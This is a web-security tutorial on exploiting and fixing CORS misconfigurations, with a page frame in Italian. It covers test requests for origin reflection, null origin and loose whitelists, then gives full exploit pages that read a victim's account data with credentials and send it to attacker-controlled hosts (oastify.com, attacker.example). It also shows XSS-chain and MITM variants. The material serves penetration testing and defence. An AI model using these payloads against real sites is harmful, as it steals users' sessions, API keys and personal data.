Salta ai contenuti
Seleziona tema

CORS misconfiguration

Questi contenuti non sono ancora disponibili nella tua lingua.

Cross-Origin Resource Sharing (CORS) is a browser mechanism that relaxes the Same-Origin Policy (SOP) to allow controlled cross-origin requests. When misconfigured, it lets an attacker’s website read authenticated responses from the target, turning a configuration error into credential theft, API key leakage, or full account takeover.

The SOP prevents a page on attacker.example from reading responses from target.example. Without it, any website could steal your session data from every other site you are logged into.

The SOP allows sending cross-origin requests (forms, images, scripts), but blocks reading the response. CORS selectively lifts this restriction: the server tells the browser which origins are allowed to read its responses.

Header Direction Purpose
Access-Control-Allow-Origin (ACAO) Response Which origin can read the response
Access-Control-Allow-Credentials (ACAC) Response Whether the browser sends cookies with the request
Access-Control-Allow-Methods Response Allowed HTTP methods (preflight)
Access-Control-Allow-Headers Response Allowed custom headers (preflight)
Access-Control-Expose-Headers Response Which response headers the client can read
Access-Control-Max-Age Response How long to cache preflight results (seconds)
Origin Request The origin of the cross-origin request (set by the browser)

For a CORS misconfiguration to be exploitable, both must be true:

  1. Access-Control-Allow-Origin includes the attacker’s origin (or is dynamically reflected)
  2. Access-Control-Allow-Credentials: true is present (so the browser sends the victim’s cookies)

Without ACAC: true, the attacker gets only unauthenticated data, which is rarely sensitive.

Run these tests in order on every endpoint that returns sensitive data. Use Burp Repeater: pick a request that returns user-specific data (profile, API keys, account details) and add the Origin header with different values.

Send a request with an arbitrary Origin:

Request
GET /api/account HTTP/1.1
Host: target.example
Origin: https://attacker.example
Cookie: session=victim-session-token
Vulnerable response
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://attacker.example
Access-Control-Allow-Credentials: true
{"username": "victim", "email": "victim@example.com", "apiKey": "ak_live_secret123"}

If the server echoes back whatever Origin you send and includes ACAC: true, it is vulnerable. Any website can read authenticated responses.

Request
GET /api/account HTTP/1.1
Host: target.example
Origin: null
Cookie: session=victim-session-token
Vulnerable response
HTTP/1.1 200 OK
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true

Some developers whitelist null thinking it is a safe default. The attacker can force the browser to send Origin: null using a sandboxed iframe.

Test 3 - Whitelist bypass (subdomain matching)

Section titled “Test 3 - Whitelist bypass (subdomain matching)”

The server whitelists *.target.example. Test if the matching is too loose:

Suffix match bypass
GET /api/account HTTP/1.1
Host: target.example
Origin: https://attackertarget.example
Prefix match bypass
GET /api/account HTTP/1.1
Host: target.example
Origin: https://target.example.attacker.example

If either returns ACAO with that origin, the whitelist regex is flawed.

Request
GET /api/account HTTP/1.1
Host: target.example
Origin: https://attacker.example
Response
HTTP/1.1 200 OK
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true

The CORS spec says browsers must reject * + ACAC: true together, but some older or custom implementations may not enforce this. Test it.

If the server only allows *.target.example, find XSS on any subdomain. An XSS on blog.target.example lets you execute JavaScript from a trusted origin.

Verify the subdomain is trusted
GET /api/account HTTP/1.1
Host: target.example
Origin: https://blog.target.example
Cookie: session=victim-session-token

If ACAO: https://blog.target.example + ACAC: true, and blog.target.example has XSS, the attacker chains XSS into CORS data theft.

Request with HTTP origin
GET /api/account HTTP/1.1
Host: target.example
Origin: http://subdomain.target.example
Cookie: session=victim-session-token
Vulnerable response
HTTP/1.1 200 OK
Access-Control-Allow-Origin: http://subdomain.target.example
Access-Control-Allow-Credentials: true

If an HTTPS site trusts an HTTP origin, a man-in-the-middle attacker on the network can intercept the HTTP request, serve a malicious page, and steal CORS data from the HTTPS site.

Internal applications often set ACAO: * because “only internal users can reach it.” If the victim visits the attacker’s page while connected to the corporate network, the attacker’s JavaScript runs in the victim’s browser and can reach internal endpoints.

Request
GET /internal/admin HTTP/1.1
Host: intranet.corp
Origin: https://attacker.example
Vulnerable response
HTTP/1.1 200 OK
Access-Control-Allow-Origin: *

No credentials needed here (wildcard does not allow them), but internal data is exposed.

For each request in the site map that returns sensitive data:

  1. Send to Repeater
  2. Add Origin: https://attacker.example and send
  3. Check if ACAO reflects the origin
  4. Add Origin: null and send
  5. Try subdomain variations: https://attackertarget.example, https://target.example.evil.net
  6. For each hit, check if ACAC: true is present

Test 1 exploit: origin reflection (credential theft)

Section titled “Test 1 exploit: origin reflection (credential theft)”

The server echoes any Origin. The attacker hosts this page and sends the link to the victim:

attacker.example/steal.html
<script>
var req = new XMLHttpRequest();
req.onload = function() {
fetch('https://YOUR-ID.oastify.com/log', {
method: 'POST',
mode: 'no-cors',
body: this.responseText
});
};
req.open('GET', 'https://target.example/api/account', true);
req.withCredentials = true;
req.send();
</script>

When the victim visits the attacker’s page:

  1. The browser sends a cross-origin request to target.example/api/account with the victim’s cookies
  2. The server returns the account data with ACAO: https://attacker.example + ACAC: true
  3. The browser allows the attacker’s JavaScript to read the response
  4. The script exfiltrates the data (API keys, email, CSRF tokens) to Burp Collaborator

Using fetch instead of XMLHttpRequest:

attacker.example/steal-fetch.html
<script>
fetch('https://target.example/api/account', {credentials: 'include'})
.then(r => r.text())
.then(t => navigator.sendBeacon('https://YOUR-ID.oastify.com/log', t));
</script>

Test 2 exploit: null origin (sandboxed iframe)

Section titled “Test 2 exploit: null origin (sandboxed iframe)”

The server trusts Origin: null. The attacker forces null using a sandboxed iframe:

attacker.example/null-exploit.html
<iframe sandbox="allow-scripts allow-top-navigation allow-forms"
src="data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = function() {
location = 'https://YOUR-ID.oastify.com/log?data='
+ encodeURIComponent(this.responseText);
};
req.open('GET','https://target.example/api/account',true);
req.withCredentials = true;
req.send();
</script>"></iframe>

The sandbox attribute strips the iframe’s origin, making the browser send Origin: null. The server sees null, matches its whitelist, and returns ACAO: null + ACAC: true.

The server only trusts *.target.example, but blog.target.example has reflected XSS in a search parameter. Chain them:

URL to send to the victim
https://blog.target.example/search?q=<script>
var req = new XMLHttpRequest();
req.onload = function() {
fetch('https://YOUR-ID.oastify.com/log', {
method: 'POST', mode: 'no-cors',
body: this.responseText
});
};
req.open('GET','https://target.example/api/account',true);
req.withCredentials = true;
req.send();
</script>

The XSS fires on blog.target.example (a trusted origin). The CORS request to target.example succeeds because the origin is whitelisted. The victim’s data is stolen.

The HTTPS site trusts http://subdomain.target.example. The attacker needs a man-in-the-middle position (open WiFi, ARP spoofing, DNS hijack):

  1. Victim browses any HTTP page (or the attacker forces a redirect to http://subdomain.target.example)
  2. Attacker intercepts the HTTP request (no TLS, so the response is controllable)
  3. Attacker responds with a malicious page:
MITM response (served as http://subdomain.target.example)
<script>
var req = new XMLHttpRequest();
req.onload = function() {
new Image().src = 'https://attacker.example/exfil?data='
+ encodeURIComponent(this.responseText);
};
req.open('GET', 'https://target.example/api/account', true);
req.withCredentials = true;
req.send();
</script>
  1. Browser executes the script in the context of http://subdomain.target.example (a trusted origin per the CORS policy)
  2. CORS request to https://target.example succeeds with credentials
  3. Data is exfiltrated to attacker.example

The root cause: trusting HTTP origins from an HTTPS site breaks the TLS guarantee.

Chain How it works Impact
CORS + XSS XSS on trusted subdomain executes cross-origin read Data theft without direct CORS reflection
CORS to CSRF CORS leaks the CSRF token, then use it for state-changing requests Bypass CSRF protection entirely
CORS + IDOR CORS leaks other users’ data via an IDOR endpoint Mass data exfiltration
CORS to account takeover CORS leaks API key or password change token Full account compromise

CORS is not a CSRF protection. They address different things:

CORS CSRF
Controls Who can read responses Who can trigger actions
Mechanism Browser-enforced via response headers Tokens, SameSite cookies, Referer checks
Misconfiguration impact Data theft (read access) Unauthorized actions (write access)

A misconfigured CORS can actually enable CSRF: if the attacker can read responses cross-origin, they can extract CSRF tokens and use them.

For “non-simple” requests (custom headers, methods other than GET/HEAD/POST, non-standard content types), the browser sends an OPTIONS preflight before the actual request:

Preflight request
OPTIONS /api/data HTTP/1.1
Host: target.example
Origin: https://other.example
Access-Control-Request-Method: PUT
Access-Control-Request-Headers: X-Custom-Header
Preflight response
HTTP/1.1 204 No Content
Access-Control-Allow-Origin: https://other.example
Access-Control-Allow-Methods: GET, POST, PUT
Access-Control-Allow-Headers: X-Custom-Header
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 7200

Preflight does not prevent exploitation of the misconfigurations above, because reading data with GET + withCredentials is a “simple” request that does not trigger preflight.

Measure Implementation
Specify exact origins ACAO: https://app.target.example, never reflect the Origin header blindly
Never whitelist null Origin: null can be forged via sandboxed iframes
Strict whitelist matching Use exact string comparison, not substring or regex with loose anchors
Do not trust HTTP origins If the main site is HTTPS, only trust HTTPS origins
Validate server-side CORS is a browser mechanism. The server must still enforce authentication and authorization on every request.
Avoid ACAO: * on sensitive endpoints Wildcard is acceptable for truly public, unauthenticated data only
Do not expose sensitive data on GET endpoints without authorization Even with CORS fixed, reduce the blast radius
Audit trusted subdomains A trusted subdomain with XSS breaks the entire CORS policy

1232 parole, circa 6 min di lettura